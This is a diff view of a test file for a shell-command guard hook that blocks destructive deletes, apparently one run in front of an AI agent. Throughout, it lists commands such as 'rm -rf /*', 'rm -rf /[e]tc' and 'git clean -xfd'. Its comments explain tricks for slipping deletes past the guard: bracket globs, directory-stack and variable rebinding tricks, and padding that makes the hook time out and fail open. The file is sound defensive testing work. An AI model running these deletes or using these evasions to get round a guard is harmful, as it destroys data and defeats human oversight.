const repo = mkdtempSync(join(tmpdir(), "hooks-monorepo-"));
|
|
992
|
-
try {
|
|
993
|
-
for (const command of [
|
|
994
|
-
"rm -rf */node_modules",
|
|
995
|
-
"rm -rf */dist",
|
|
996
|
-
"rm -rf ./*/dist",
|
|
997
|
-
"rm -rf **/dist",
|
|
998
|
-
"rm -rf */*.log",
|
|
999
|
-
]) {
|
|
1000
|
-
await expectAllowed(command, { cwd: repo });
|
|
1001
|
-
}
|
|
1002
|
-
for (const command of [
|
|
1003
|
-
"rm -rf /opt/*/logs",
|
|
1004
|
-
"rm -rf /var/*/tmp",
|
|
1005
|
-
"rm -rf /home/*/tmp",
|
|
1006
|
-
"rm -rf /srv/*/cache",
|
|
1007
|
-
"rm -rf ~/workspace/*/node_modules",
|
|
1008
|
-
]) {
|
|
1009
|
-
await expectAllowed(command);
|
|
1010
|
-
}
|
|
1011
|
-
} finally {
|
|
1012
|
-
try { rmSync(repo, { recursive: true, force: true }); } catch {}
|
|
1013
|
-
}
|
|
1014
|
-
});
|
|
1015
|
-
|
|
1016
|
-
test("ordinary commands never reach the unanalysable-command refusal", async () => {
|
|
1017
|
-
// Every $( ) counts as a layer, so a low cap made 40 substitutions in one ops line trip a
|
|
1018
|
-
// hard block on `rm -rf dist`.
|
|
1019
|
-
const substitutions = Array.from({ length: 40 }, (_, i) => `echo $(echo ${i})`).join(" ; ");
|
|
1020
|
-
await expectAllowed(`${substitutions} ; rm -rf dist`);
|
|
1021
|
-
await expectAllowed(`${substitutions} ; rm -rf /tmp/scratch`);
|
|
1022
|
-
await expectAllowed(`${substitutions} ; find . -name '*.log' -delete`);
|
|
1023
|
-
await expectAllowed(`bash -c "sh -c 'sh -c \\"sh -c \\\\"rm -rf dist\\\\"\\"'"`);
|
|
1024
|
-
});
|
|
1025
|
-
|
|
1026
|
-
test("deeply nested parameter expansion cannot stall the hook into failing open", async () => {
|
|
1027
|
-
// 40k-deep `${A:-…}` overflowed the stack; the hook caught it and answered
|
|
1028
|
-
// {"continue":true}, so the `rm -rf /*` in the same command was never classified.
|
|
1029
|
-
const command = `rm -rf /* "${"${A:-".repeat(2000)}x${"}".repeat(2000)}"`;
|
|
1030
|
-
const started = performance.now();
|
|
1031
|
-
const result = await classify(command);
|
|
1032
|
-
expect(result.block).toBe(true);
|
|
1033
|
-
expect(performance.now() - started).toBeLessThan(2000);
|
|
1034
|
-
});
|
|
1035
|
-
|
|
1036
|
-
// -------------------------------------------------------------------------------------
|
|
1037
|
-
// Adversarial review round 4. Three of these were regressions introduced by round 3's own
|
|
1038
|
-
// fixes. Kept as one block and replayed whole - subsetting is how the last four rounds of
|
|
1039
|
-
// regressions got through.
|
|
1040
|
-
// -------------------------------------------------------------------------------------
|
|
1041
|
-
|
|
1042
|
-
test("bracket-class globs are compiled, not escaped", async () => {
|
|
1043
|
-
// `[e]tc` was escaped to the literal \[e\]tc, which no directory can equal, so the
|
|
1044
|
-
// component was classified as a glob and then matched as an impossible literal. One
|
|
1045
|
-
// character defeated every rule, every tool and every wrapper.
|
|
1046
|
-
for (const command of [
|
|
1047
|
-
"rm -rf /[e]tc",
|
|
1048
|
-
"rm -rf /[!x]*",
|
|
1049
|
-
"rm -rf /[^x]*",
|
|
1050
|
-
"rm -rf /[a-z]*",
|
|
1051
|
-
"rm -rf /home/[h]asna",
|
|
1052
|
-
"rm -rf /?tc",
|
|
1053
|
-
"find /[e]tc -delete",
|
|
1054
|
-
"rsync -a --delete src/ /[e]tc",
|
|
1055
|
-
"ssh station02 rm -rf /[e]tc",
|
|
1056
|
-
`bash -c "rm -rf /[!x]*"`,
|
|
1057
|
-
`rm -rf "$(bun pm cache)"/[a-z]*`,
|
|
1058
|
-
"rm -rf /home/hasna/.[h]asna",
|
|
1059
|
-
"rm -rf /home/hasna/.h*/repos",
|
|
1060
|
-
]) {
|
|
1061
|
-
await expectBlocked(command);
|
|
1062
|
-
}
|
|
1063
|
-
// A bounded class deeper than any protected root stays allowed.
|
|
1064
|
-
await expectAllowed("rm -rf /var/log/[0-9]*.gz");
|
|
1065
|
-
});
|
|
1066
|
-
|
|
1067
|
-
test("a sibling subshell does not inherit the previous subshell's cd", async () => {
|
|
1068
|
-
// Regression from the per-depth frame stack: two siblings are both depth 1, so the second
|
|
1069
|
-
// inherited the first's `cd`. bash discards it, so the guard was aimed at an
|
|
1070
|
-
// attacker-chosen directory while the delete hit the real cwd.
|
|
1071
|
-
const repo = mkdtempSync(join(tmpdir(), "hooks-sibling-"));
|
|
1072
|
-
const elsewhere = mkdtempSync(join(tmpdir(), "hooks-elsewhere-"));
|
|
1073
|
-
try {
|
|
1074
|
-
mkdirSync(join(repo, "src"), { recursive: true });
|
|
1075
|
-
Bun.spawnSync(["git", "init", "-q", repo]);
|
|
1076
|
-
for (const command of [
|
|
1077
|
-
`(cd ${elsewhere}); (rm -rf *)`,
|
|
1078
|
-
`(cd ${elsewhere}) && (rm -rf *)`,
|
|
1079
|
-
`(cd ${elsewhere}); (cd src); (rm -rf *)`,
|
|
1080
|
-
`echo hi | (cd ${elsewhere}); (rm -rf *)`,
|
|
1081
|
-
`(cd ${elsewhere}); (rm -rf .)`,
|
|
1082
|
-
`(cd ${elsewhere}); (git clean -xfd)`,
|
|
1083
|
-
`(cd ${elsewhere}); (find . -delete)`,
|
|
1084
|
-
`true; (cd ${elsewhere}); (rm -rf *)`,
|
|
1085
|
-
]) {
|
|
1086
|
-
await expectBlocked(command, { cwd: repo });
|
|
1087
|
-
}
|
|
1088
|
-
// The same-subshell case must keep working.
|
|
1089
|
-
await expectBlocked("(cd / && rm -rf *)", { cwd: repo });
|
|
1090
|
-
} finally {
|
|
1091
|
-
for (const dir of [repo, elsewhere]) {
|
|
1092
|
-
try { rmSync(dir, { recursive: true, force: true }); } catch {}
|
|
1093
|
-
}
|
|
1094
|
-
}
|
|
1095
|
-
});
|
|
1096
|
-
|
|
1097
|
-
test("a delete nested past the parameter-expansion cap is refused, not dropped", async () => {
|
|
1098
|
-
// The hardcoded depth-4 cap abandoned the scan without setting `truncated`, so the
|
|
1099
|
-
// refusal path never fired and the delete was never classified at all.
|
|
1100
|
-
for (const depth of [1, 4, 5, 8, 40]) {
|
|
1101
|
-
await expectBlocked(`echo ${"${x:-".repeat(depth)}$(rm -rf /*)${"}".repeat(depth)}`);
|
|
1102
|
-
}
|
|
1103
|
-
});
|
|
1104
|
-
|
|
1105
|
-
test("$PWD stands for the directory the guard is already tracking", async () => {
|
|
1106
|
-
const repo = mkdtempSync(join(tmpdir(), "hooks-pwd-"));
|
|
1107
|
-
try {
|
|
1108
|
-
Bun.spawnSync(["git", "init", "-q", repo]);
|
|
1109
|
-
for (const command of [`rm -rf "$PWD"/*`, `rm -rf "$(pwd)"/*`, "rm -rf ${PWD}/*"]) {
|
|
1110
|
-
await expectBlocked(command, { cwd: repo });
|
|
1111
|
-
}
|
|
1112
|
-
await expectBlocked(`cd / && rm -rf "$PWD"/*`);
|
|
1113
|
-
} finally {
|
|
1114
|
-
try { rmSync(repo, { recursive: true, force: true }); } catch {}
|
|
1115
|
-
}
|
|
1116
|
-
});
|
|
1117
|
-
|
|
1118
|
-
test("unset withdraws a non-empty guarantee", async () => {
|
|
1119
|
-
await expectBlocked(`X=/tmp; unset X; rm -rf "$X"/*`);
|
|
1120
|
-
await expectBlocked(`X=/tmp; unset X; rm -rf "$X"/etc`);
|
|
1121
|
-
await expectAllowed(`X=/tmp/build; rm -rf "$X"/*`);
|
|
1122
|
-
});
|
|
1123
|
-
|
|
1124
|
-
test("segment-count padding cannot stall the hook into failing open", async () => {
|
|
1125
|
-
// The per-segment assignment scan re-split the whole command on every chunk - O(n²).
|
|
1126
|
-
// 36 KB of `:; ` padding took 25.6s against a 20s timeout, and a timed-out hook fails
|
|
1127
|
-
// open, so padding alone unguarded the delete. Varies SEGMENT COUNT, which the earlier
|
|
1128
|
-
// "deeply nested expansion" test never did.
|
|
1129
|
-
const command = `${":; ".repeat(12000)}rm -rf /*`;
|
|
1130
|
-
const started = performance.now();
|
|
1131
|
-
const result = await classify(command);
|
|
1132
|
-
expect(result.block).toBe(true);
|
|
1133
|
-
expect(performance.now() - started).toBeLessThan(3000);
|
|
1134
|
-
});
|
|
1135
|
-
|
|
1136
|
-
// -------------------------------------------------------------------------------------
|
|
1137
|
-
// Adversarial review round 5.
|
|
1138
|
-
// -------------------------------------------------------------------------------------
|
|
1139
|
-
|
|
1140
|
-
test("bracket expressions whose terminator is not the first ] still match", async () => {
|
|
1141
|
-
// The compiler stopped at the first `]`, so `[[:lower:]]` compiled to a pattern requiring
|
|
1142
|
-
// a literal `]` and matched nothing - a silent under-match, which fails OPEN. Verified
|
|
1143
|
-
// against bash: /home/hasna/.hasn[[:lower:]] expands to /home/hasna/.hasna.
|
|
1144
|
-
for (const command of [
|
|
1145
|
-
"rm -rf /home/hasna/.hasn[[:lower:]]",
|
|
1146
|
-
"rm -rf /home/hasna/.[[:lower:]]asna",
|
|
1147
|
-
"rm -rf /home/hasna/.[[:lower:]]asna/repos",
|
|
1148
|
-
"rm -rf /home/hasna/.hasn[a\\]]",
|
|
1149
|
-
"rm -rf /[[:lower:]]tc",
|
|
1150
|
-
"rm -rf /[[:alpha:]][[:alpha:]][[:alpha:]]",
|
|
1151
|
-
`ssh station02 "rm -rf /home/hasna/.hasn[[:lower:]]"`,
|
|
1152
|
-
`bash -c "rm -rf /home/hasna/.hasn[[:lower:]]"`,
|
|
1153
|
-
"find /home/hasna/.hasn[[:lower:]] -delete",
|
|
1154
|
-
]) {
|
|
1155
|
-
await expectBlocked(command);
|
|
1156
|
-
}
|
|
1157
|
-
});
|
|
1158
|
-
|
|
1159
|
-
test("popd returns the guard to where the shell returns", async () => {
|
|
1160
|
-
// `pushd` was handled and `popd` was not, so the pushd target stayed as the tracked cwd
|
|
1161
|
-
// for the rest of the command. Blocked on d8c0e8a; allowed from f6def3c until now.
|
|
1162
|
-
// Deliberately NOT under the pushd target: a repo inside /tmp made this pass for the
|
|
1163
|
-
// wrong reason, because `/tmp/*` covers the repo root whether or not popd is handled.
|
|
1164
|
-
const repo = mkdtempSync(join(fixtureRoot, "hooks-popd-"));
|
|
1165
|
-
try {
|
|
1166
|
-
Bun.spawnSync(["git", "init", "-q", repo]);
|
|
1167
|
-
for (const command of [
|
|
1168
|
-
"pushd /var/tmp >/dev/null; popd >/dev/null; rm -rf *",
|
|
1169
|
-
"pushd /var/tmp; popd; git clean -xfd",
|
|
1170
|
-
"pushd /var/tmp; popd; find . -delete",
|
|
1171
|
-
]) {
|
|
1172
|
-
await expectBlocked(command, { cwd: repo });
|
|
1173
|
-
}
|
|
1174
|
-
// pushd without popd still moves it.
|
|
1175
|
-
await expectAllowed("pushd /var/tmp; rm -rf scratch-dir", { cwd: repo });
|
|
1176
|
-
} finally {
|
|
1177
|
-
try { rmSync(repo, { recursive: true, force: true }); } catch {}
|
|
1178
|
-
}
|
|
1179
|
-
});
|
|
1180
|
-
|
|
1181
|
-
test("any construct that can rebind a name withdraws the non-empty guarantee", async () => {
|
|
1182
|
-
for (const rebind of [
|
|
1183
|
-
"export X=$(bun pm cache)",
|
|
1184
|
-
"declare X=$(cmd)",
|
|
1185
|
-
"readonly X=$(cmd)",
|
|
1186
|
-
"local X=$(cmd)",
|
|
1187
|
-
"typeset X=$(cmd)",
|
|
1188
|
-
"read X < /dev/null",
|
|
1189
|
-
"eval 'X='",
|
|
1190
|
-
'for X in ""; do :; done',
|
|
1191
|
-
]) {
|
|
1192
|
-
await expectBlocked(`X=/tmp/build; ${rebind}; rm -rf "$X"/*`);
|
|
1193
|
-
}
|
|
1194
|
-
// A literal, non-empty binding through the same builtins is still a guarantee.
|
|
1195
|
-
await expectAllowed(`export X=/tmp/build; rm -rf "$X"/*`);
|
|
1196
|
-
await expectAllowed(`declare X=/tmp/build; rm -rf "$X"/*`);
|
|
1197
|
-
});
|
|
1198
|
-
|
|
1199
|
-
test("glob matching is linear, so a long protected root cannot stall the hook", async () => {
|
|
1200
|
-
// `*` compiled to `[^/]*` backtracked exponentially against a ~200-char root component:
|
|
1201
|
-
// over 45s against a 20s timeout, and a timed-out hook fails open.
|
|
1202
|
-
const base = mkdtempSync(join(tmpdir(), "hooks-redos-"));
|
|
1203
|
-
const repo = join(base, "ab".repeat(100));
|
|
1204
|
-
mkdirSync(repo, { recursive: true });
|
|
1205
|
-
try {
|
|
1206
|
-
Bun.spawnSync(["git", "init", "-q", repo]);
|
|
1207
|
-
const started = performance.now();
|
|
1208
|
-
await classify(`rm -rf ${base}/${"*b".repeat(15)}c`, { cwd: repo });
|
|
1209
|
-
expect(performance.now() - started).toBeLessThan(2000);
|
|
1210
|
-
} finally {
|
|
1211
|
-
try { rmSync(base, { recursive: true, force: true }); } catch {}
|
|
1212
|
-
}
|
|
1213
|
-
});
|
|
1214
|
-
|
|
1215
|
-
test("the narrow-glob sweep fires only on unanchored patterns", async () => {
|
|
1216
|
-
// Previously untested: deleting the whole rule left the suite green. It is also the
|
|
1217
|
-
// rule most able to over-block, so both directions are asserted here.
|
|
1218
|
-
const repo = mkdtempSync(join(tmpdir(), "hooks-sweep-"));
|
|
1219
|
-
try {
|
|
1220
|
-
Bun.spawnSync(["git", "init", "-q", repo]);
|
|
1221
|
-
// Unanchored - nothing literal survives, so it takes essentially the whole root.
|
|
1222
|
-
for (const command of ["rm -rf [a-z]*", "rm -rf [!x]*", "rm -rf ?*", "rm -rf *"]) {
|
|
1223
|
-
await expectBlocked(command, { cwd: repo });
|
|
1224
|
-
}
|
|
1225
|
-
// Anchored by literal text - cannot take the root, and blocking these got the guard
|
|
1226
|
-
// switched off last round.
|
|
1227
|
-
for (const command of [
|
|
1228
|
-
"rm -rf *.log",
|
|
1229
|
-
"rm -rf *.tsbuildinfo",
|
|
1230
|
-
"rm -rf .turbo* .next* .cache*",
|
|
1231
|
-
"rm -rf tmp-*",
|
|
1232
|
-
"rm -rf test-output-*",
|
|
1233
|
-
"rm -rf dist-*.zip",
|
|
1234
|
-
"rm -rf report-2026-*",
|
|
1235
|
-
"rm -rf ./*.tgz",
|
|
1236
|
-
"rm -rf out?/",
|
|
1237
|
-
"rm -rf .venv*",
|
|
1238
|
-
"rm -rf build-cache-*",
|
|
1239
|
-
"rm -rf snapshot-[0-9]*",
|
|
1240
|
-
"rm -rf [s]rc",
|
|
1241
|
-
]) {
|
|
1242
|
-
await expectAllowed(command, { cwd: repo });
|
|
1243
|
-
}
|
|
1244
|
-
} finally {
|
|
1245
|
-
try { rmSync(repo, { recursive: true, force: true }); } catch {}
|
|
1246
|
-
}
|
|
1247
|
-
});
|
|
1248
|
-
|
|
1249
|
-
// -------------------------------------------------------------------------------------
|
|
1250
|
-
// Adversarial review round 6. Bracket handling produced a fresh under-match in every one
|
|
1251
|
-
// of the three rounds that touched it, so the design changed rather than the edge cases:
|
|
1252
|
-
// anything not modelled exactly now MATCHES. Over-blocking a rare construct is survivable;
|
|
1253
|
-
// under-matching a protected root is not.
|
|
1254
|
-
// -------------------------------------------------------------------------------------
|
|
1255
|
-
|
|
1256
|
-
test("unparseable bracket constructs match rather than vanish", async () => {
|
|
1257
|
-
// Each of these names a real path in bash - verified with echo - while the previous
|
|
1258
|
-
// matcher held a pattern that could match nothing at all.
|
|
1259
|
-
for (const command of [
|
|
1260
|
-
"rm -rf /[e[:]tc",
|
|
1261
|
-
"rm -rf /[e[=]tc",
|
|
1262
|
-
"rm -rf /h[o[:]me",
|
|
1263
|
-
"rm -rf /[u[:]sr",
|
|
1264
|
-
"rm -rf /[v[:]ar/*",
|
|
1265
|
-
"rm -rf /r[o[:]ot",
|
|
1266
|
-
"rm -rf ~/.h[a[:]sna",
|
|
1267
|
-
"rm -rf ~/.h[a[:]sna/repos",
|
|
1268
|
-
`rm -rf "$(bun pm cache)"/[e[:]tc`,
|
|
1269
|
-
// A negated UNKNOWN class: the fail-safe "unknown matches" was then inverted by the
|
|
1270
|
-
// negation into "matches nothing", turning the safeguard into the bypass.
|
|
1271
|
-
"rm -rf /[![:foo:]]tc",
|
|
1272
|
-
"rm -rf /[!x[:foo:]]tc",
|
|
1273
|
-
"rm -rf /[^[:foo:]]tc",
|
|
1274
|
-
"rm -rf /h[![:foo:]]me",
|
|
1275
|
-
// An escaped `]` mid-class dropped every member after it.
|
|
1276
|
-
"rm -rf /[a\\]e]tc",
|
|
1277
|
-
"rm -rf /[a\\]e]tc/*",
|
|
1278
|
-
"rm -rf /home/hasna/.hasn[b\\]a]",
|
|
1279
|
-
]) {
|
|
1280
|
-
await expectBlocked(command);
|
|
1281
|
-
}
|
|
1282
|
-
});
|
|
1283
|
-
|
|
1284
|
-
test("bracket flooding cannot stall the hook into failing open", async () => {
|
|
1285
|
-
// Re-scanning to end-of-pattern from every `[` was quadratic: 20k brackets took 22s
|
|
1286
|
-
// against the 20s timeout, on a command that also contained a real `rm -rf /*`.
|
|
1287
|
-
//
|
|
1288
|
-
// Two shapes, because the first one alone did not actually exercise the quadratic: a
|
|
1289
|
-
// flooded target under `/` is answered by the covers check before the anchoring scan
|
|
1290
|
-
// ever runs, so that test passed with the quadratic still in place. The second shape -
|
|
1291
|
-
// flood as the last component of a repo-root child - is the one that reaches it.
|
|
1292
|
-
const repo = mkdtempSync(join(fixtureRoot, "hooks-flood-"));
|
|
1293
|
-
try {
|
|
1294
|
-
Bun.spawnSync(["git", "init", "-q", repo]);
|
|
1295
|
-
// Timing is the point here. The verdict differs per shape and both are correct:
|
|
1296
|
-
// a bracket run with NO `]` is a literal filename to bash (`printf %s "[[[["` prints
|
|
1297
|
-
// `[[[[`, and an unterminated `[` is not a glob), so deleting it is an ordinary
|
|
1298
|
-
// targeted delete; the flood next to a real `/*` is a root wipe and blocks.
|
|
1299
|
-
for (const [command, cwd] of [
|
|
1300
|
-
[`rm -rf /${"[".repeat(20000)} /*`, undefined],
|
|
1301
|
-
[`rm -rf ${"[".repeat(20000)}`, repo],
|
|
1302
|
-
[`rm -rf /${"[".repeat(20000)}]`, undefined],
|
|
1303
|
-
] as Array<[string, string | undefined]>) {
|
|
1304
|
-
const started = performance.now();
|
|
1305
|
-
await classify(command, cwd ? { cwd } : {});
|
|
1306
|
-
expect(performance.now() - started).toBeLessThan(3000);
|
|
1307
|
-
}
|
|
1308
|
-
// The flood must not disarm the delete beside it.
|
|
1309
|
-
expect((await classify(`rm -rf /${"[".repeat(20000)} /*`)).block).toBe(true);
|
|
1310
|
-
// ...and a literal bracket filename is a targeted delete, not a sweep.
|
|
1311
|
-
expect((await classify(`rm -rf ${"[".repeat(20000)}`, { cwd: repo })).block).toBe(false);
|
|
1312
|
-
} finally {
|
|
1313
|
-
try { rmSync(repo, { recursive: true, force: true }); } catch {}
|
|
1314
|
-
}
|
|
1315
|
-
});
|
|
1316
|
-
|
|
1317
|
-
test("pushd -n records a directory without moving the shell", async () => {
|
|
1318
|
-
const repo = mkdtempSync(join(fixtureRoot, "hooks-pushdn-"));
|
|
1319
|
-
try {
|
|
1320
|
-
Bun.spawnSync(["git", "init", "-q", repo]);
|
|
1321
|
-
await expectBlocked("pushd -n /var/tmp; rm -rf *", { cwd: repo });
|
|
1322
|
-
await expectBlocked("pushd -n /var/tmp && rm -rf *", { cwd: repo });
|
|
1323
|
-
} finally {
|
|
1324
|
-
try { rmSync(repo, { recursive: true, force: true }); } catch {}
|
|
1325
|
-
}
|
|
1326
|
-
});
|
|
1327
|
-
|
|
1328
|
-
test("a subshell cannot pop the parent shell's directory stack", async () => {
|
|
1329
|
-
// The dirStack was copied per frame; sharing the array would let a subshell's popd
|
|
1330
|
-
// rewrite the parent's stack. Previously no test distinguished the two.
|
|
1331
|
-
const repo = mkdtempSync(join(fixtureRoot, "hooks-dirstack-"));
|
|
1332
|
-
try {
|
|
1333
|
-
Bun.spawnSync(["git", "init", "-q", repo]);
|
|
1334
|
-
await expectBlocked("pushd /var/tmp; (pushd /var); popd; rm -rf *", { cwd: repo });
|
|
1335
|
-
} finally {
|
|
1336
|
-
try { rmSync(repo, { recursive: true, force: true }); } catch {}
|
|
1337
|
-
}
|
|
1338
|
-
});
|
|
1339
|
-
|
|
1340
|
-
test("dot-anchored and punctuation-only globs are sweeps, not anchored patterns", async () => {
|
|
1341
|
-
const repo = mkdtempSync(join(fixtureRoot, "hooks-dotglob-"));
|
|
1342
|
-
try {
|
|
1343
|
-
Bun.spawnSync(["git", "init", "-q", repo]);
|
|
1344
|
-
for (const command of ["rm -rf .??*", "rm -rf .?*", "rm -rf .[a-z]*", "rm -rf *.*"]) {
|
|
1345
|
-
await expectBlocked(command, { cwd: repo });
|
|
1346
|
-
}
|
|
1347
|
-
// Real literal text still anchors, including after a dot.
|
|
1348
|
-
for (const command of ["rm -rf .turbo*", "rm -rf .venv*", "rm -rf *.log"]) {
|
|
1349
|
-
await expectAllowed(command, { cwd: repo });
|
|
1350
|
-
}
|
|
1351
|
-
} finally {
|
|
1352
|
-
try { rmSync(repo, { recursive: true, force: true }); } catch {}
|
|
1353
|
-
}
|
|
1354
|
-
});
|
|
1355
|
-
|
|
1356
|
-
test("every shape that can rebind a name withdraws the guarantee", async () => {
|
|
1357
|
-
for (const rebind of [
|
|
1358
|
-
"IFS= read -r D",
|
|
1359
|
-
"while read D; do :; done",
|
|
1360
|
-
"printf -v D ''",
|
|
1361
|
-
"source ./x.sh",
|
|
1362
|
-
". ./x.sh",
|
|
1363
|
-
'trap "D=" EXIT',
|
|
1364
|
-
"builtin read D",
|
|
1365
|
-
"declare -n D=E",
|
|
1366
|
-
"getopts o D",
|
|
1367
|
-
"coproc read D",
|
|
1368
|
-
]) {
|
|
1369
|
-
await expectBlocked(`D=/tmp/b; ${rebind}; rm -rf "$D"/*`);
|
|
1370
|
-
}
|
|
1371
|
-
// `export X` with no value does NOT change X, so it must not withdraw anything.
|
|
1372
|
-
await expectAllowed(`X=/tmp/build; export X; rm -rf "$X"/*`);
|
|
1373
|
-
});
|
|
1374
|
-
|
|
1375
|
-
// -------------------------------------------------------------------------------------
|
|
1376
|
-
// Adversarial review round 7. The first block asserts the MATCHER directly: five of round
|
|
1377
|
-
// 6's fifteen bracket assertions passed with the glob matcher entirely removed, because a
|
|
1378
|
-
// bare glob under `/` is caught by the unanchored-root rule regardless. Adding one literal
|
|
1379
|
-
// character after the bracket stops that rule firing - which is exactly how these shipped.
|
|
1380
|
-
// -------------------------------------------------------------------------------------
|
|
1381
|
-
|
|
1382
|
-
test("a class terminator belonging to a later bracket is not taken as this one's", async () => {
|
|
1383
|
-
// `[u[:]` searched to end-of-component for `:]` and found the one inside the FOLLOWING
|
|
1384
|
-
// bracket, swallowing its own `]`. Verified in bash: /[u[:][[:alpha:]]r expands to /usr.
|
|
1385
|
-
// 158 commands onto live system roots were allowed by that one unbounded search.
|
|
1386
|
-
for (const command of [
|
|
1387
|
-
"rm -rf /[u[:][[:alpha:]]r",
|
|
1388
|
-
"rm -rf /[e[:][[:alpha:]]c",
|
|
1389
|
-
"rm -rf /[h[:][[:alpha:]]me",
|
|
1390
|
-
"rm -rf /[u[:][[:alpha:]]r/*",
|
|
1391
|
-
"rm -rf /b[i[:][[:alpha:]]",
|
|
1392
|
-
"rm -rf /[v[:][[:alpha:]]r",
|
|
1393
|
-
]) {
|
|
1394
|
-
await expectBlocked(command);
|
|
1395
|
-
}
|
|
1396
|
-
});
|
|
1397
|
-
|
|
1398
|
-
test("a mention of an assignment is not an execution of it", async () => {
|
|
1399
|
-
// The all-token rebinding scan also GRANTED certification at any position, so a comment
|
|
1400
|
-
// naming the variable certified it as non-empty - the realized incident shape, in the
|
|
1401
|
-
// likeliest form an agent writes it.
|
|
1402
|
-
await expectBlocked('# export CACHE=/tmp/bun-cache\nrm -rf "$CACHE"/*');
|
|
1403
|
-
await expectBlocked('echo export X=/tmp/build; rm -rf "$X"/*');
|
|
1404
|
-
await expectBlocked('grep export CACHE=/tmp/x notes.txt; rm -rf "$CACHE"/*');
|
|
1405
|
-
// A trailing comment in the same segment. Covered by the same command-position rule -
|
|
1406
|
-
// `export` is not token 0 here either - and asserted so the shape is pinned.
|
|
1407
|
-
await expectBlocked('rm -rf "$CACHE"/* # export CACHE=/tmp/x');
|
|
1408
|
-
// A real assignment in command position still certifies.
|
|
1409
|
-
await expectAllowed('export X=/tmp/build; rm -rf "$X"/*');
|
|
1410
|
-
await expectAllowed('X=/tmp/build; rm -rf "$X"/*');
|
|
1411
|
-
});
|
|
1412
|
-
|
|
1413
|
-
test("an assignment inside a compound-command body withdraws the guarantee", async () => {
|
|
1414
|
-
for (const rebind of [
|
|
1415
|
-
"{ X=; }",
|
|
1416
|
-
"f() { X=; }; f",
|
|
1417
|
-
"{ unset X; }",
|
|
1418
|
-
"if true; then X=; fi",
|
|
1419
|
-
"while :; do X=; break; done",
|
|
1420
|
-
"until false; do X=; break; done",
|
|
1421
|
-
]) {
|
|
1422
|
-
await expectBlocked(`X=/tmp/build; ${rebind}; rm -rf "$X"/*`);
|
|
1423
|
-
}
|
|
1424
|
-
await expectBlocked('X=/tmp/build; { X=; rm -rf "$X"/*; }');
|
|
1425
|
-
// Distinguishing case for the function-body rule: `f() { … }` is split on the parens, so
|
|
1426
|
-
// the keyword form is the one that actually needs it.
|
|
1427
|
-
await expectBlocked('X=/tmp/build; function f { X=; }; f; rm -rf "$X"/*');
|
|
1428
|
-
});
|
|
1429
|
-
|
|
1430
|
-
test("builtin-token padding cannot stall the hook into failing open", async () => {
|
|
1431
|
-
// The all-token scan allocated a slice per token: 20k `export A=1 ` took 20.9s against
|
|
1432
|
-
// the 20s timeout. Fourth time a bound in this file reopened that same fail-open.
|
|
1433
|
-
for (const padding of ["export A=1 ".repeat(20000), "read ".repeat(40000)]) {
|
|
1434
|
-
const started = performance.now();
|
|
1435
|
-
const result = await classify(`${padding}; rm -rf /*`);
|
|
1436
|
-
expect(result.block).toBe(true);
|
|
1437
|
-
// The single-pass implementation runs this in ~100ms. A 3s budget was loose enough
|
|
1438
|
-
// that re-introducing per-token slicing still passed, so the margin is tightened to
|
|
1439
|
-
// what the fix actually achieves.
|
|
1440
|
-
expect(performance.now() - started).toBeLessThan(1000);
|
|
1441
|
-
}
|
|
1442
|
-
});
|
|
1443
|
-
|
|
1444
|
-
test("a literal bracket in a filename is not a sweep", async () => {
|
|
1445
|
-
// Fail-closed matching must stop where bash stops globbing: `[` with no `]` is an
|
|
1446
|
-
// ordinary character, and these were re-broken twice on this branch.
|
|
1447
|
-
const repo = mkdtempSync(join(fixtureRoot, "hooks-litbracket-"));
|
|
1448
|
-
try {
|
|
1449
|
-
Bun.spawnSync(["git", "init", "-q", repo]);
|
|
1450
|
-
await expectAllowed("rm -rf 'weird[dir'", { cwd: repo });
|
|
1451
|
-
await expectAllowed("rm -rf 'backup[2026'", { cwd: repo });
|
|
1452
|
-
// Distinguishing case for the matcher itself, not the anchoring scan: without the
|
|
1453
|
-
// literal-bracket rule the unterminated `[` makes the component match ANYTHING, so
|
|
1454
|
-
// this reads as `/etc`. bash leaves it literal - `shopt -s nullglob; a=( /etc[x )`
|
|
1455
|
-
// still yields one element.
|
|
1456
|
-
// The bracket must be REACHED by the matcher for this to distinguish anything:
|
|
1457
|
-
// `etc[x` runs out of name before the `[`, so it is rejected on length alone.
|
|
1458
|
-
// `et[c` evaluates the bracket against `c`. bash leaves it literal - verified with
|
|
1459
|
-
// `shopt -s nullglob; a=( /et[c )` yielding one element.
|
|
1460
|
-
await expectAllowed("rm -rf /et[c");
|
|
1461
|
-
await expectAllowed("rm -rf /ho[me");
|
|
1462
|
-
await expectAllowed("rm -rf /etc[x");
|
|
1463
|
-
} finally {
|
|
1464
|
-
try { rmSync(repo, { recursive: true, force: true }); } catch {}
|
|
1465
|
-
}
|
|
1466
|
-
});
|
|
1467
|
-
|
|
1468
|
-
test("opaque builtins and for-bindings are recognised at any token position", async () => {
|
|
1469
|
-
// Both fixes were real and had ZERO coverage: every case that looked like it tested
|
|
1470
|
-
// all-token scanning was satisfied by the name-binding branch or by tokens[0].
|
|
1471
|
-
await expectBlocked(`X=/tmp/build; env eval 'X='; rm -rf "$X"/*`);
|
|
1472
|
-
await expectBlocked(`X=/tmp/build; command source ./x.sh; rm -rf "$X"/*`);
|
|
1473
|
-
await expectBlocked(`X=/tmp/build; do for X in ""; do :; done; rm -rf "$X"/*`);
|
|
1474
|
-
});
|
|
1475
|
-
|
|
1476
|
-
// -------------------------------------------------------------------------------------
|
|
1477
|
-
// Adversarial review round 8. The bracket BOUNDARY was the defect class that survived
|
|
1478
|
-
// seven rounds: contents failed closed, but every disagreement with bash about where a
|
|
1479
|
-
// bracket ENDS became a silent under-match. Round 6 searched too far, round 7 stopped too
|
|
1480
|
-
// early and made it net worse (220 -> 380 live escapes). The guard now refuses to compute
|
|
1481
|
-
// a boundary it cannot pin down.
|
|
1482
|
-
// -------------------------------------------------------------------------------------
|
|
1483
|
-
|
|
1484
|
-
test("a component with a POSIX class, equivalence or collating symbol matches anything", async () => {
|
|
1485
|
-
// Each expands onto a live protected root in real bash; each was allowed at HEAD.
|
|
1486
|
-
for (const command of [
|
|
1487
|
-
"rm -rf /[![=o=]]]*",
|
|
1488
|
-
"rm -rf /[[:]:]v]*",
|
|
1489
|
-
"rm -rf /*[[:[=c=]]",
|
|
1490
|
-
"rm -rf /[b[.][:]*n",
|
|
1491
|
-
"rm -rf /[h[.[::]]*",
|
|
1492
|
-
"rm -rf /*[[:]:]c]",
|
|
1493
|
-
"rm -rf /[p[.].]]*",
|
|
1494
|
-
"rm -rf /*[s[.].]]",
|
|
1495
|
-
"rm -rf /*[[=a=]]r]",
|
|
1496
|
-
"rm -rf /[b[.[::]]*",
|
|
1497
|
-
